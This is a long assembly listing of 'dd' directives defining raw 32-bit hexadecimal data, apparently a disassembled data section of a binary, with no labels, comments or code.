		dd 300EBDE0h, 1BB1F101h, 0B9039E1Dh, 0E2660796h, 0A568A1FDh
		dd 70E95880h, 8394CD2Ah, 6A3DF401h, 4F54E8D0h, 1FCCE8h
		dd 279C3EF6h, 0CF9B3395h, 0C5759107h, 3C500F8Ch, 1F4CB6ECh
		dd 0C0791274h, 54788F57h, 3B01AF3Ah, 0CD2CE784h, 0C7C87599h
		dd 0EF090066h, 6423763Fh, 0D6908A03h, 0B9F5D00h, 1341678Eh
		dd 0B34A003Ah, 6ADAA2AEh, 0BC026237h, 0E735CA04h, 73C0A753h
		dd 5A132760h, 0C2C3B8Eh, 9E223E00h, 921EA621h, 199B2501h
		dd 7AE4CC8Fh, 0E8E76FC4h, 1409C16Eh, 7488EDC9h,	0AB3B0B90h
		dd 0C81C2653h, 27A32100h, 0A8646Eh, 636867D1h, 8B9220C7h
		dd 425C200h, 8562C6F8h,	4A0D26CAh, 22803D80h, 0C359B98Eh
		dd 0C2061838h, 0C66090Eh, 688B026Ch, 505CB37Dh,	8996E5C0h
		dd 8102CD3Dh, 0AED8EECCh, 48BAD261h, 1FFC3F03h,	0A583A4E6h
		dd 0A6ECC19Dh, 0BA87F401h, 5E0E477Fh, 810FA3D2h, 0CE36252h
		dd 0F6116CD0h, 1D5CB844h, 8097BAA7h, 3D0D9DB4h,	0F4001447h
		dd 0C7DF8941h, 7AE7C831h, 5B2F03BBh, 33C17084h,	5CF91EA0h
		dd 941EC0Bh, 0B7DC8097h, 1E1A5352h, 1F6C783h, 9EECAEF1h
		dd 0B9187405h, 967B9500h, 1726455Ah, 0D87411D9h, 130A0070h
		dd 890E6D1h, 0DFEC00AFh, 91B296C6h, 9490C541h, 0CAD6EA07h
		dd 6930E166h, 0E62F7FEh, 0A5DD1629h, 2F67D420h,	4D001C0Dh
		dd 7397F1Fh, 0E0CD8D7h,	8FECA1C3h, 9EDDCA0h, 0F3008804h
		dd 0B40BCF0h, 3876BEE5h, 0DE80E8E3h, 5A696251h,	28095E36h
		dd 806A7D95h, 0EF188590h, 997C2ECBh, 0B4FA14DCh, 760A6800h
		dd 0A6355E05h, 1AE03900h, 0A2F521D0h, 32FCA0CAh, 618D0077h
		dd 0AE0293BEh, 41E8EA95h, 0A60DDC04h, 178247E4h, 9CD44B51h
		dd 585EECD0h, 0DCE00B0Ah, 3E00BBBCh, 0AF696449h, 33F8802Ch
		dd 61E49100h, 4B7337h, 0AC842445h, 2E555105h, 0CC7C4E00h
		dd 3FD7FD3Ah, 701A00DCh, 0B1409DB9h, 0B002F94Ah, 43A0D9DFh
		dd 50205033h, 0ECAC70h,	27A5CB56h, 0BE0750D0h, 8D42F802h
		dd 0C0FCAE45h, 1AC9B60h, 0D9C87658h, 0CC317810h, 162C4C4Dh
		dd 93008EF6h, 991ED09Ch, 0AFBF1473h, 0AC01B002h, 80EF1DCCh
		dd 0F0AA47F4h, 48D643Ah, 18416209h, 0D500003Fh,	7D660F7h
		dd 597D8311h, 1363A0B0h, 3009DAABh, 2131A0D7h, 6AE6EA24h
		dd 124961E0h, 80C2B44Bh, 689DC140h, 0CBF23100h,	5BD6D3E7h
		dd 89EB006Bh, 11BD71BEh, 9A043786h, 1DAAE918h, 0C6B8A080h
		dd 15930F38h, 0E740F995h, 0AB59F2FBh, 708CFE2Eh, 7A094200h
		dd 982561h, 7036C9BFh, 1EEBB0ECh, 6ABDDF00h, 0ADE1F48Eh
		dd 1130023h, 80B74171h,	0BC3B40C6h, 45A08081h, 21CC43C3h
		dd 701F0030h, 65C8648Eh, 0A3000F01h, 0E8400E28h, 4413CDh
		dd 0CC41BA75h, 153AD8FDh, 0D6C61F01h, 6503216Eh, 0A3D78040h
		dd 0F0E789Fh, 0CF85F7A0h, 5FAFFBC0h, 113CD2E3h,	36939E3Bh
		dd 25010CACh, 63DED7E7h, 397E9F4h, 0F75BF2ADh, 71B89D67h
		dd 2F1CAA95h, 0C80053C7h, 8174D7A5h, 0FF790E87h, 805F222Dh
		dd 99B8D386h, 7065AEEh,	2E7A26E0h, 44FB07D0h, 0C078251Fh
		dd 3A925649h, 1F9816B0h, 6E4C3B00h, 0AABAAD6Ah,	7E8F3h
		dd 4E3FC0D9h, 0C8840E68h, 2BA4B000h, 1CCF233Ah,	8CD23004h
		dd 0AF8DD158h, 49B80A00h, 2A6EB541h, 4CB2ADh, 71F5655Ah
		dd 851476CEh, 5DA1C050h, 0A830D315h, 32660FECh,	82F24037h
		dd 0D20C5F74h, 4CBC0129h, 60544F43h, 1E09B588h,	0F43E8Ah
		dd 0ED1C40E8h, 0F7C6001Ah, 0B773C378h, 660048EBh, 2A32B94Ch
		dd 0F82F06C7h, 148C00BBh, 0AF867A8Fh, 3000C5FFh, 0ABD27601h
		dd 0A3C209h, 5FCB71F9h,	6C4F5C96h, 0C9DCFF00h, 3173BD40h
		dd 8A1B039Bh, 45F47471h, 47C505B0h, 0E3602106h,	40C817h
		dd 249E4080h, 0A792AFFDh, 82E87898h, 0BB5A750Ah, 0BA03941Fh
		dd 0F8A286B8h, 484ADEE9h, 510644FEh, 89335C64h,	781082Eh
		dd 0B0138000h, 3A2CC6BEh, 4400A078h, 0EB7200Ah,	0D10005D7h
		dd 0F9FFF30h, 0F3F97Ch,	830299D0h, 88CA19B8h, 64474201h
		dd 74C1D9D5h, 1E0BCE0h,	17561392h, 0F4D83509h, 0D300F04Fh
		dd 0C1940C3Eh, 0A4644Eh, 0E5E7E4DFh, 0EE4A9ABFh, 4F108800h
		dd 2FAFC58h, 8040963Eh,	0FB73965Eh, 9A071699h, 0A81350F3h
		dd 52713330h, 8B830003h, 0A715DD21h, 0A0004E8Eh, 45351A1Ch
		dd 2FE717h, 292657B6h, 6C79E955h, 8DB43A00h, 0C3E3B9A7h
		dd 8B0E1EA8h, 0B06661h,	0B9AFE31h, 1501126Dh, 43AB540Ah
		dd 0A6ECF4CEh, 0B64726EAh, 449500ACh, 5C61515Eh, 0A379DD00h
		dd 20E2E5E0h, 0BAC807EBh, 0F06C9B9Eh, 2AA63601h, 90B75600h
		dd 3B2652Dh, 0F47E0FAEh, 95C1D883h, 241D44BEh, 203CB73Ch
		dd 87FC008Ch, 0EF2E432Bh, 0A4F6EEh, 313F56A1h, 0D8B06675h
		dd 95DAFB00h, 0F94C3DFh, 3DFC00E9h, 0B4513DEh, 93003A76h
		dd 0BA4DA5C9h, 1D0BC22h, 7EB4438Ch, 7081CD36h, 1AE0599Bh
		dd 898E263Fh, 28B169h, 836CBA4h, 45621A6Ah, 7DD0106Ch
		dd 86101350h, 9D500800h, 95AD0FBEh, 0F6E500F8h,	651FEA40h
		dd 68011D6Bh, 0DA6F8C3Ch, 0BBE0C85Bh, 68E1F49h,	17704229h
		dd 18503C60h, 95A76218h, 7719E868h, 0D02C03BEh,	6FFA8F25h
		dd 870800DDh, 14DF0475h, 0DD096071h, 4B3062E6h,	4046B964h
		dd 28FEB911h, 0BE63844Ch, 743C44h, 3F08241Ch, 81BB0291h
		dd 15339B84h, 3BAE8D30h, 94804DE0h, 0D1989B3h, 9F03558Ch
		dd 0FA7AA338h, 3299D8C2h, 40BAF7h, 601ACBB4h, 3FDE2C16h
		dd 993A6100h, 74DB2578h, 0C20F0691h, 31F235AAh,	0AE44B800h
		dd 160DA0B2h, 1C6794Dh,	59845CEFh, 0D48DCB48h, 0DD0E4C83h
		dd 0A0F86B51h, 0DFBF440Fh, 487ECB11h, 2419D000h, 7B0AABA5h
		dd 8053BBB6h, 0A380518Fh, 0CF938789h, 71EF30A0h, 4C1B2A24h
		dd 497200B4h, 6FBAF6C4h, 5C2CCF04h, 3381CD0h, 0F4BB8E53h
		dd 0A01DBBEDh, 0E692DA17h, 20F7827h, 8B82FE0Bh,	0BCA05F32h
		dd 73DC79D3h, 49A75E00h, 4DC2D8FCh, 0CE57510h, 8734572Ah
		dd 36F4D488h, 0E995EE0Dh, 0A4EDA951h, 2DC0CCh, 52973A56h
		dd 884B0FFCh, 0FDE47F7Eh, 57098600h, 49CE1D6Dh,	6BE20608h
		dd 0C947BF17h, 0D2166A7Dh, 5FFB1Ah, 0C5CF285h, 336800C0h
		dd 4580BE7h, 81F77CD0h,	0D7363BADh, 30D418E8h, 87889CE6h
		dd 0F33AC444h, 0B25A004Ch, 6FE8288Dh, 8A7205h, 83CA3A60h
		dd 7976B3CBh, 0D7C77800h, 5C295861h, 0D0F01F0Bh, 95E6065Ah
		dd 310018C0h, 30DB9391h, 0E56FFECh, 485B0CEEh, 389C0193h
		dd 0E05AF478h, 4B00E18Ch, 0BE2F811Eh, 181FEB5Ch, 21065B6Fh
		dd 4C000A42h, 31C68D7Bh, 7FE05EFBh, 0FA1A0761h,	93C156F2h
		dd 0CCD75335h, 28986C30h, 0FDC5FE18h, 6F6920h, 0E05F3FC9h
		dd 52C86681h, 4F1886E1h, 5C506A39h, 0CB0C4524h,	0BA403F0Fh
		dd 0DC332800h, 0DF979B81h, 0D09CC89h, 32F21A21h, 0D2FC8307h
		dd 0A020630Ch, 40BABB01h, 0F8EC7840h, 8010D800h, 0F1A3F536h
		dd 91B8063Ah, 70639408h, 294F670Ch, 7783B8E2h, 0EBB102FFh
		dd 49C3B9D7h, 31CEE60h,	0E363ED1Dh, 0EC200CC0h,	336C9Eh
		dd 28168E5Eh, 663D7345h, 0A2C3481Dh, 0D022A900h, 17355CF6h
		dd 107ABh, 377E5458h
		dd 42F86B12h, 0E9F78D02h, 0E05232BCh, 1B1A1D9h,	162013F9h
		dd 4B1AD8B9h, 0F000AA04h, 839D498Dh, 18C01995h,	0A8CA8052h
		dd 4F8B003Bh, 811461D0h, 0F900E58Ch, 4D6F83B5h,	5052D5EFh
		dd 846B1415h, 0F708BE10h, 114E2311h, 711CEE8h, 2BA11C3h
		dd 0F2289728h, 86389B3h, 0F6FD20AAh, 8929CB60h,	38021Eh
		dd 4FAC9F8Fh, 0A1AF17AEh, 132BB803h, 0D0273C4Ah, 391994Ch
		dd 9E716A58h, 9006D92h,	2CA474B7h, 0A909CCh, 0AFBD25BFh
		dd 0AE55C9FBh, 946E3Fh,	23EBD270h, 0E5CF88h, 0FC965A1Ch
		dd 0E0494A24h, 3FDF6B00h, 0CF028CAh, 31BD3B23h,	7DD5CE80h
		dd 0C0AF2983h, 0C92AEE00h, 0E1562B5h, 233401EAh, 3FCFD669h
		dd 265DC4A8h, 94574400h, 0E76C9115h, 997E00DEh,	6838EE9Eh
		dd 0A82AF847h, 3206D475h, 44D6A365h, 7FEC0028h,	0FAA75AB1h
		dd 603D8617h, 0D8EA00F7h, 0A89B4C38h, 23350008h, 582AF56Eh
		dd 973E31Bh, 0B5E01200h, 31134B07h, 0E1340ED6h,	0BB23B22Fh
		dd 1000E2CAh, 305C5277h, 643AC0h, 6D55B909h, 548116EFh
		dd 97BAED00h, 76E3C23h,	18A30012h, 38B5669Ch, 0B601E025h
		dd 72CF8DAEh, 3024329Fh, 0FF740004h, 8327EE4Ch,	70B57D9h
		dd 6D6011h, 596F1629h, 0A0A27FD6h, 9BC388h, 32F88375h
		dd 4D2FAA33h, 88CCC200h, 8D0C1645h, 360B00DFh, 136656ECh
		dd 4D01D5A5h, 0A9812496h, 0A4D48DF4h, 0DDC5039Ch, 26B2F597h
		dd 0D5F784B8h, 9A19BA00h, 1D5FE6ABh, 0E2F405h, 4836C62Bh
		dd 0E129BC03h, 4D264F1Ch, 0B04EAA9Eh, 80C00F68h, 3A5A2499h
		dd 0D878FAh, 0CA21FC84h, 4E38D55h, 0DEDC7F03h, 0B8152B58h
		dd 2F373h, 7DD6E9CCh, 35AE26C9h, 2E18EB00h, 41968BB8h
		dd 7F840034h, 8CE38F7h,	0E700C10Eh, 0E13E9DF3h,	79F0BFEh
		dd 0B5437239h, 0B05AA03Ch, 170028D1h, 0B84BDFA3h, 1D7EB915h
		dd 0E5731h, 7B0A5E46h, 107E53BCh, 0DC403D00h, 0E95B4870h
		dd 38450093h, 46B1DEEDh, 8C0DF3Ch, 4D1F23FAh, 1AD71C63h
		dd 8F1B40BCh, 9BDF09D1h, 5B369A1Ch, 73EF7244h, 644EECC0h
		dd 0F80E98C8h, 0D3729Dh, 0ECCFD2FAh, 170AEFCBh,	8F78E4A0h
		dd 6B168503h, 0E8799777h, 34256ADCh, 1201853h, 82A2AAF0h
		dd 994AEC30h, 352D3800h, 91460421h, 779F090Ah, 60003FF3h
		dd 0FAAABDD8h, 0CE3D7A1Eh, 324100BBh, 0A9E7561Bh, 0A0330F12h
		dd 3DA2EABFh, 3840D945h, 0EC000D84h, 0B9366069h, 5ED2F5h
		dd 839DB3Bh, 0F28E58F1h, 0A3F0A1EEh, 0D88B8302h, 40BB4407h
		dd 1F5F818h, 0B4134843h, 6083CF21h, 0F1ECB351h,	34C84500h
		dd 0A6365295h, 0A4DA0004h, 0CEFAEA7Eh, 858C6A2h, 0DB640FF8h
		dd 1ED6005Dh, 176519h, 12F77C8Ch, 64CE90FCh, 0D7114D00h
		dd 6DC02657h, 5D040A2Dh, 1F0CC8Bh, 0FC0ADEC4h, 4C6E00B2h
		dd 2474C7h, 6B3A4DB5h, 0C540444Bh, 1EB0343Bh, 595E0E21h
		dd 9CC83580h, 6716CCFEh, 91099Bh, 0A7B21CAAh, 0ACABA902h
		dd 80CEBD82h, 818ACBF0h, 7256070Dh, 97D22CD5h, 0F665C2F2h
		dd 17538480h, 3A00F4D9h, 0BBAF2EEEh, 155FFC4h, 9D4E56F9h
		dd 2493E505h, 770E48DCh, 0E23720F8h, 809650A4h,	311025E7h
		dd 2F7C28B1h, 26BA00A0h, 0AA238662h, 0AD06EDA8h, 0F8503EA3h
		dd 12B45C70h, 1CE6690Eh, 4BEB5E5Fh, 218076D0h, 925A6ECFh
		dd 103A9C30h, 156601B8h, 0C47FD00Bh, 38AE4D00h,	6313E670h
		dd 49DDD800h, 961F3A33h, 0E6207B2h, 0F1BDF669h,	0E0E58356h
		dd 0D2002E4Ch, 4E147F4h, 13A1E79h, 0B5FA3B82h, 0C871D01Dh
		dd 0D40C8C29h, 4E5C6CFh, 0E0C011Eh, 0BE950168h,	1DF1C445h
		dd 0E2B3A600h, 0FB34F675h, 496C07A1h, 0F07EC6FCh, 70532F0Eh
		dd 0A32D0700h, 89731E4Bh, 28AE4D3h, 0A5811A5Fh,	0A380B4A4h
		dd 245CE679h, 16014700h, 4150DCBBh, 9D743B10h, 9B35C701h
		dd 0C775A114h, 0E03126A8h, 2F8A3Ch, 3CC5F7C4h, 767497Fh
		dd 6C109050h, 298950AEh, 86B020C6h, 9C1B9405h, 28802367h
		dd 2621FE69h, 0CC6AD9h,	4F050DECh, 8900173Eh, 8C1BEA32h
		dd 284ED4Dh, 0D18DA3B4h, 480B2FEh, 0CD04D4D7h, 88F44006h
		dd 4CA4455Fh, 0CE2C88AFh, 0FC2401F4h, 9C635D4Ah, 4380DD9Ch
		dd 0BE2C6A4Dh, 472E0046h, 0D337CEC2h, 290030A2h, 67C963B3h
		dd 0DA0532h, 36B69B6Eh,	64331C71h, 0CF989707h, 0EE30F69Ah
		dd 0FDFD045h, 1D44C301h, 302BDB40h, 0A313A7F7h,	0A91E7024h
		dd 0F49AA54Bh, 86F00035h, 1811C154h, 3C35AF13h,	0E37C30Eh
		dd 424CC0D5h, 0C91523h,	664048A0h, 645609EAh, 0EC08CFh
		dd 6BDECFEBh, 30690442h, 80A52E22h, 0A9B12A1Ch,	15F8C998h
		dd 0E653BB0Bh, 0A6198273h, 454C40A5h, 2C5003BAh, 0C3286922h
		dd 2F7F5C00h, 0C4CEA023h, 6B48C3FEh, 0F0009CBEh, 87B1AC63h
		dd 3DD6BD28h, 2C80BCB7h, 0E847725h, 90171F5Eh, 5400FC6Dh
		dd 88A57058h, 0E5CBA93h, 131E870Ah, 929A5062h, 942C3040h
		dd 0FF661700h, 24E28307h, 1D0900C5h, 1663FA6Dh,	0BB003B39h
		dd 97A70FDAh, 1FF36F90h, 0E40C73h, 57D5E08Fh, 0E00760Dh
		dd 700B67E5h, 0D2CC43h,	0FD8A2875h, 0B263B10Ah,	0B769B4A0h
		dd 0C8B8377Bh, 0F3B93409h, 6DD8237Ah, 0CB94D0F4h, 0EC4005Bh
		dd 38285AF8h, 422493B5h, 0D4001085h, 5F260A4Bh,	0B6E0F2h
		dd 51B0BBF0h, 0FFE027E3h, 0EF20DD00h, 66AAD6EAh, 12FDE41Ah
		dd 81355A8Bh, 0C14C3664h, 81C0F7EBh, 493D693Ch,	0E5DB8482h
		dd 0D4C03297h, 6DF128h,	5CC8A190h, 5A4B5616h, 0E9BF9900h
		dd 326AE13Bh, 74210220h, 0F47260B2h, 0A3D062DDh, 986277DCh
		dd 0F6B9C3A0h, 50E1F34h, 0C7855F39h, 0D36B4580h, 5190FEF7h
		dd 0CE0BD19Fh, 7D0D79Dh, 69E03C60h, 0B8A5C005h,	76DA00DEh
		dd 499316A2h, 0D70038E3h, 23ABC140h, 389D3039h,	2D807821h
		dd 696DBAFFh, 0E8C13C47h, 0D4E9A06h, 28D63FD0h,	0C862E1h
		dd 0B7B51CE7h, 0B3305953h, 4D9C4000h, 19C604C0h, 9C267CFh
		dd 0D4C01E68h, 0B3C1AF89h, 0C713140Bh, 930800DDh, 5B19F2h
		dd 39B70E1h, 0DE0A499h,	404E498h, 46EE2DA9h, 0DA6987C1h
		dd 90BBB1E0h, 0E13400F4h, 3D1064C9h, 700027BCh,	0ABEE95AEh
		dd 132296FEh, 54ABEh, 4249AF0Ch, 8B003BE5h, 0DC50824Dh
		dd 16527Dh, 0BE53CFB1h,	0A9ABCCEFh, 7BC70900h, 7FBB6F71h
		dd 1E6A588Ch, 3AD37001h, 209CBC67h, 0AAE8C638h,	65C2C818h
		dd 7B819D0h, 641BCBA5h,	750F9099h, 0A400B496h, 624924ECh
		dd 0C0501636h, 385C4E09h, 52032A2Ch, 35ACF50Eh,	0C880843Ah
		dd 1AD623Eh, 19FD7ECEh,	0C0091449h, 94005B0Bh, 0EEDC8D7Ah
		dd 147F6F25h, 0B0CEB247h, 4AB66407h, 0D716B003h, 0F4FF7BEFh
		dd 0CD384E0Eh, 7CB9A472h, 1887CF00h, 1DF63570h,	0C0EBD4DFh
		dd 0FE910CBh, 902CDE2Dh, 0BA881Ah, 73C411C8h, 7EE1FE04h
		dd 0E8C97940h, 1B89256h, 70A6B776h, 208AEF64h, 7B02EAB4h
		dd 0A74C078Bh, 21D48062h, 7E17451h, 0C230D548h,	0D17B77E6h
		dd 0DDFD0677h, 0E4A0C3DEh, 2F06C6A4h, 0EF629826h, 0D840E918h
		dd 0F8EA9B9Fh, 949504DAh, 91281A91h, 342476B8h,	3D74357Ch
		dd 0E7EA8300h, 0BC0B2AAh, 5EB80331h, 0B70A010Fh, 57A5074h
		dd 0B6F0CE19h, 27C08E10h, 0B50E00A6h, 0E0463BDAh, 0AE000A6Eh
		dd 0E561BBE9h, 96CA892Fh, 8E1620h, 5ED1D328h, 0B23C386Ch
		dd 3A4B0192h, 60BECD9Ah, 1773F020h, 40F07A56h, 663FC5D4h
		dd 0D30335F3h, 1BA0DF0Ch
		dd 38E7C025h, 3AB671B1h, 8E38F2EBh, 0C7298A80h,	0DFE65264h
		dd 8A8E501h, 34697F0Ah,	0D26640DEh, 11DE8F1h, 15879DD6h
		dd 64765F13h, 1800B37Ch, 0D0FACFEAh, 26C9B6h, 983D8AEBh
		dd 47E13817h, 8B3C771Fh, 218175C0h, 12F492B0h, 746DD87h
		dd 0B01B6DDEh, 0E5360634h, 4F01A971h, 0DBB2D5C2h, 0FCC89C3Dh
		dd 8FCB002Ah, 0CF3A083Eh, 9D00F563h, 6C6271A1h,	96C8FFh
		dd 868F4F1Bh, 37656017h, 80975B3Ch, 0BAA23694h,	9250E3h
		dd 0A3936DB9h, 0B0017320h, 427F9C03h, 0F8C6849Ah, 4CD04903h
		dd 3200E0E8h, 1A529844h, 8B0073B9h, 0D4757C10h,	76CD5B26h
		dd 9FE8A6h, 8F7A0679h, 1DE662DCh, 0E69054E8h, 0A9BEEB00h
		dd 6755020Eh, 7C970021h, 9B4D5D8Ch, 3C00EC25h, 60C73207h
		dd 0EB0E3h, 8892DCFEh, 86200B13h, 0D5E70200h, 5BE26AEAh
		dd 0CAD0005h, 0E0F21093h, 0D838A103h, 21268228h, 40E9E6C6h
		dd 191861h, 14751240h, 0FE5A394Fh, 800ABC38h, 0C03E8272h
		dd 73CB7Bh, 0C2BDC4F9h,	896AC7DFh, 37BAB500h, 9E9656E4h
		dd 0D6921C26h, 0B000FEE9h, 54281BB7h, 0F900741Ch, 0B1D45B3Ch
		dd 70C66C82h, 5FCA1EDAh, 0D52BC0FFh, 8FBFB326h,	11901548h
		dd 1600183Fh, 7D64376Ch, 31094C3Dh, 80AA3443h, 4F2DBB8Eh
		dd 90D8EEB1h, 3D070260h, 0D950603Eh, 56BDAC60h,	19058201h
		dd 0E572C928h, 88251FF1h, 0EB80A82Dh, 0F694A53Ch, 5BD0AF00h
		dd 0C2042F3h, 2159016Fh, 96E8059Dh, 8E10800Bh, 94348B81h
		dd 7D610120h, 2EBB5D1Bh, 0D43C31C4h, 8E007EC9h,	0E58C5887h
		dd 3EECA9Fh, 4B0169B8h,	2BD07FF0h, 211C9222h, 9840FD90h
		dd 0C0038953h, 6F1F02E1h, 0BCBD6B2Ch, 0DB6874E0h, 7AE3900h
		dd 48F0CFF7h, 0E3740041h, 6C188266h, 6200956Ah,	5D0CD42Ah
		dd 0C3BA72h, 0F347A2D6h, 6D16862Ch, 1200A475h, 278CD874h
		dd 9B50580h, 0B1A765F0h, 0A0D28482h, 405D70CAh,	38ABC5F4h
		dd 8FACC701h, 0A2B98008h, 0B8F098B0h, 1A564503h, 754EB7Ah
		dd 2C4E5108h, 33593080h, 312EF539h, 3A81F03Eh, 7D681ABEh
		dd 0BA3B30h, 0ED6B056Fh, 0DE20FC7Ah, 7C06A113h,	88BB8420h
		dd 0CA420B7Bh, 0BD804C7Eh, 12DADFEDh, 0E4233500h, 14CF2F38h
		dd 0BB8201BCh, 1B52DE34h, 9520C456h, 0C69A3B01h, 115E3FEAh
		dd 9F0B6438h, 0C805EC0Ah, 939F1DF3h, 0DA3002C8h, 28C0B5E1h
		dd 1A1875BEh, 0A5118C35h, 3C9C039Ah, 69E3BC02h,	0E560AD88h
		dd 9722A300h, 60A1E6Dh,	0D3BA0095h, 833A2B0Bh, 1700FD3Dh
		dd 1CB7788Dh, 0A54118h,	9724E60h, 882A4CDDh, 0AC84340Eh
		dd 480F20ECh, 3D69EB8h,	0EFADB6BBh, 18C170EBh, 0F2C9D0FBh
		dd 0E1816200h, 8284EA71h, 5DFC3AC6h, 2FFF9980h,	5C02139Dh
		dd 5378E00h, 0A328F6Dh,	0AB3A1E3Eh, 91AE4C27h, 22000F09h
		dd 1692A7AFh, 336DD6h, 70AD42D1h, 981B4759h, 0C8B4ED3Ah
		dd 0AC800A7h, 6B0F6744h, 8199002Dh, 0D38C37B1h,	700ADB0h
		dd 0E9B696E4h, 1A6A9BFh, 3E64573Ch, 0E005E3F1h,	0D6F4D734h
		dd 0E4C6A160h, 0B8AEF455h, 0D89D004Ah, 917D7CF3h, 3A0077FDh
		dd 3C6189EDh, 15317Bh, 0BD331740h, 0B85EDC7Fh, 9CAB8000h
		dd 29E246E5h, 0F3FCF3EFh, 0EB7C007Eh, 0C4B1A043h, 0BA07BC97h
		dd 4C50FB9Ch, 0C0A80C0h, 0FD7300B0h, 0B33A99BEh, 253E6BA9h
		dd 0CCDB3CD7h, 0C26E0583h, 0AC00A723h, 846D3E8Ah, 0F1720197h
		dd 2485F483h, 541FDC47h, 28773203h, 0F8873998h,	2BFD03h
		dd 0F94234BEh, 758B9B10h, 59A75800h, 1FEE016h, 0DCC900B8h
		dd 0E612C6D2h, 0C80EDE45h, 600CB036h, 0B9849D10h, 0B2FB006Ch
		dd 828BA486h, 88CEF81Bh, 0EDF4C711h, 5693A347h,	0FFA10095h
		dd 0BD195D3Ah, 24611565h, 0BBEC3908h, 0A523208Ch, 8D0CEB10h
		dd 201554B1h, 955700F2h, 1196BB02h, 0B78FD62h, 8A075DF8h
		dd 0E923E180h, 8D608CC0h, 831A0298h, 54C1F9B6h,	75473620h
		dd 57F8280Bh, 4A171244h, 7EC103F4h, 287C9654h, 21949733h
		dd 0DEC00003h, 85557731h, 1C00A7EBh, 5259881Dh,	0A13D97h
		dd 0E64A117Fh, 844D6AD6h, 0EC577101h, 0FBD9707Dh, 5824FB70h
		dd 1700D87Bh, 23D7AA6Ch, 0A2076385h, 4A18233h, 0B4801B65h
		dd 1FABB2Ch, 9B369D87h,	0D46D7795h, 0EF0E37C2h,	0C074F742h
		dd 0F0EE29E0h, 0C4C30347h, 0B6BA939Eh, 48AB92Bh, 602C31F0h
		dd 4581078h, 3A502173h,	0B007FEC0h, 9EFABDA0h, 32F83800h
		dd 8AD7078Eh, 0C7B60BF7h, 0A158019Ch, 0E945F0FFh, 0C25F6600h
		dd 4AAD59F9h, 0E6D80052h, 8EFE1E7Dh, 86072D9h, 0DF385851h
		dd 4C29C0EDh, 2DABD195h, 0DC852416h, 5FE1B700h,	20C20Ah
		dd 0FD59F5CBh, 0F2AFF07h, 12615163h, 6413BFEh, 696086Fh
		dd 19B9AF0Ch, 87ED8300h, 1935D00Ch, 5A570E5Fh, 90D9B23Eh
		dd 8FB16BD1h, 5B149080h, 68167E7Dh, 66789A0Ch, 402DE806h
		dd 0E13E9E0Dh, 813A006Dh, 392631D9h, 8F444DEh, 5FE49815h
		dd 8D78854Ch, 2414A380h, 7A5518ABh, 6CACA953h, 0FFBAF22h
		dd 0DC876A52h, 66063888h, 303930A5h, 9D595AE2h,	910089C1h
		dd 6B1B0DF3h, 9A201Eh, 0F65F3E41h, 647EA1FBh, 74924700h
		dd 0A3992AB9h, 8160C3B3h, 7800137Ch, 9B87C68Eh,	0C348EBh
		dd 1EBCBFF7h, 5C06D1E9h, 4BAA2000h, 66AE5BE1h, 4C1A0018h
		dd 54F307C8h, 8011E9Eh,	5F9F9ABFh, 58D01DDFh, 0CA7BCA6h
		dd 8A10EA4Ch, 1A422A00h, 6CE1F53Eh, 0FE5F164Fh,	0ED370087h
		dd 0EA38D808h, 0A3F496EEh, 0BDF5841Dh, 3689BF98h, 3F260024h
		dd 0B35D5340h, 0D000C8E4h, 82A6081Bh, 3C275C7h,	8DB2F89Bh
		dd 1E98105Fh, 983A261Dh, 43D38ED8h, 0E2C40C9h, 103E4Ah
		dd 0B276B7C1h, 0D2FE187Eh, 73C03Ch, 0F1C5BE45h,	783BF672h
		dd 1CF50047h, 0EA28A94Fh, 0F438D24Ah, 4CCB89F0h, 21BA0CF1h
		dd 0E5E00008h, 0F7B25491h, 77064EFCh, 0BDA17ECEh, 5E700250h
		dd 0A5F04F1Dh, 0D32A4900h, 36620CE7h, 0F37A39F7h, 8FFB3B07h
		dd 3F33676Dh, 0BFF1C97Ch, 1DF53181h, 4103EE81h,	0C789F50h
		dd 26E50F24h, 0C8F054D2h, 0FC048041h, 0DAA362E5h, 0D5699E00h
		dd 575163FFh, 36DF1FF2h, 0FA0F0095h, 1BC4E04Bh,	6F384860h
		dd 74439EFFh, 10D10C9Ah, 960817CEh, 831C90CBh, 0D83A9E1Fh
		dd 64BFC8Ah, 0EF9C50B2h, 731DB8E7h, 0B07366EEh,	0FDCEF039h
		dd 0D070DE4Bh, 8B9D0E42h, 67CB00D9h, 7581BECh, 20BDB27h
		dd 0F0BE3065h, 6B00915Ch, 0C5552C94h, 736466E2h, 0F58600AAh
		dd 0A04D073Fh, 5F00DAFAh, 4B4EB212h, 0E63606h, 2DA25B0Fh
		dd 15A5AB9Dh, 0C000CA72h, 2999E8E4h, 1D8CD4AAh,	0C0B34198h
		dd 0AEB97534h, 73005DBAh, 22AC3EB8h, 274521h, 0C0369361h
		dd 0C81D8ED8h, 0E51E1600h, 9AB3E904h, 0CECD00A5h, 8615702Ah
		dd 0C000750Fh, 3BB956B6h, 0E87E06h, 9F7D7AFFh, 238D6FC5h
		dd 0E1539316h, 0E9415D03h, 8A1DD80Eh, 6E6D00DBh, 0C2B82FD9h
		dd 0DD1E7081h, 0AC80A2F2h, 0DE5662B6h, 0D5E6006Ah, 0FE36A9EFh
		dd 2053B9Ah, 34741FFAh,	274BBF80h, 0AE3200D7h, 0CE12C78h
		dd 5A002DC3h, 0D9283F37h, 347F30h, 0F1251E4Bh, 9CB33BA2h
		dd 4ADD8401h, 6A4F68EDh, 0FC45E70h, 0BDFDD9C2h,	1015D3A7h
		dd 0C80540DEh, 0FC007A7Fh, 3E4C60DFh, 0FF0229h,	0E934CC25h
		dd 6ABF6DDEh, 22A2F003h, 0B0310836h, 0E86FD7h, 0F3EC2176h
		dd 0F2E73ED5h, 0C82B4000h, 0D8570C75h, 0E93600C3h, 45FBE217h
		dd 0B000A0D6h, 0B14CDB38h
		dd 2619CB03h, 3B299B7h,	85FAD99Bh, 6B022EBh, 1B002428h
		dd 5F641F18h, 0D23FBh, 9138B9E1h, 0E0A06647h, 281BDA00h
		dd 0DEECB13Dh, 0E17F3264h, 0D7112D29h, 219924EAh, 0D110E77Dh
		dd 14809E47h, 0A6F588F3h, 890DA088h, 2C4017E5h,	8A946Eh
		dd 53C866EFh, 6109F3B1h, 8B4AF400h, 29C63FB8h, 629622E5h
		dd 447D08E5h, 2284AC5Fh, 0AE226C86h, 5E8E22BBh,	0AD08A042h
		dd 0D21096F8h, 5C59F184h, 9E003CD0h, 97C4AD94h,	0BA003A63h
		dd 0BC387002h, 348F8h, 30511CC0h, 0B24381C1h, 14C99F03h
		dd 0CAB3BFh, 0E6B89908h, 0CBC3D485h, 0FFCCA200h, 0C7BB482Ch
